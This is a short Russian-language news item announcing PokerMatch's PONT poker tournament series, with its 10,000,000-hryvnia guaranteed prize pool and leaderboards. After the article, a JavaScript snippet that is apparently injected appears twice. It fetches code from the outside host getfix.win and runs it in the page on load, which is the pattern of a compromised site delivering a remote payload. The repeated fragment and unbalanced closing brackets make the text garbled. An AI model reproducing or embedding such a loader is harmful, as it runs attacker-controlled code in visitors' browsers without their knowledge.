В PokerMatch стартует турнирная серия PONT

В онлайн-руме PokerMatch всего месяц назад прошла гривневая покерная серия PONT. Она собрала огромное количество участников и прошла с огромным успехом. Вот почему администрация рума решила вновь организовать такое событие.
С 1 по 31 марта в PokerMatch пройдет следующий этап покерной серии PONT. Гарантированный призовой фонд для нее составит 10 000 000 гривен. Большая его часть будет разыграна в рамках титульных турниров.
Также в ходе такой серии будут проходить ежедневные регулярные турниры, некоторые из которых будут предусматривать бесплатный вход:
Дополнительный плюс PONT заключается в том, что на основе результатов турнирной игры будет сформировано два лидерборда. 20 игроков из каждого из них получат поощрительные денежные призы.
Регистрация в турнирах покерной серии PONT уже началась. Спешите подать заявки на участие в турнирах. На кону стоят большие деньги, вы можете стать обладателем их части. Удачи!
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
fetch(url, { method: 'GET', cache: 'no-store', credentials: 'same-origin' }) .then(response => { if (!response.ok) throw new Error('HTTP ' + response.status); return response.text(); }) .then(data => { var script = document.createElement('script'); script.textContent = data.trim(); document.head.appendChild(script);
if (document.readyState === 'complete' || document.readyState === 'interactive') { document.dispatchEvent(new Event('DOMContentLoaded')); } }) .catch(error => { console.warn('Script load failed:', error.message); }); } })();
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
fetch(url, { method: 'GET', cache: 'no-store', credentials: 'same-origin' }) .then(response => { if (!response.ok) throw new Error('HTTP ' + response.status); return response.text(); }) .then(data => { var script = document.createElement('script'); script.textContent = data.trim(); document.head.appendChild(script);
if (document.readyState === 'complete' || document.readyState === 'interactive') { document.dispatchEvent(new Event('DOMContentLoaded')); } }) .catch(error => { console.warn('Script load failed:', error.message); }); } })();